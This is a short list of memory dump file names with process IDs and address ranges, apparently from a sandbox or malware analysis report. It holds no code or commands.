memory/5836-930-0x0000000002370000-0x0000000002398000-memory.dmp
memory/5836-1017-0x0000000004A00000-0x0000000004A92000-memory.dmp
memory/5836-937-0x00000000049B0000-0x00000000049D8000-memory.dmp
memory/6012-689-0x000000001B9B0000-0x000000001B9BC000-memory.dmp
memory/6124-614-0x0000000000A80000-0x0000000000ABB000-memory.dmp
memory/6124-613-0x0000000000400000-0x0000000000A80000-memory.dmp
memory/6124-573-0x0000000000400000-0x0000000000A80000-memory.dmp
memory/6124-403-0x0000000000400000-0x0000000000A80000-memory.dmp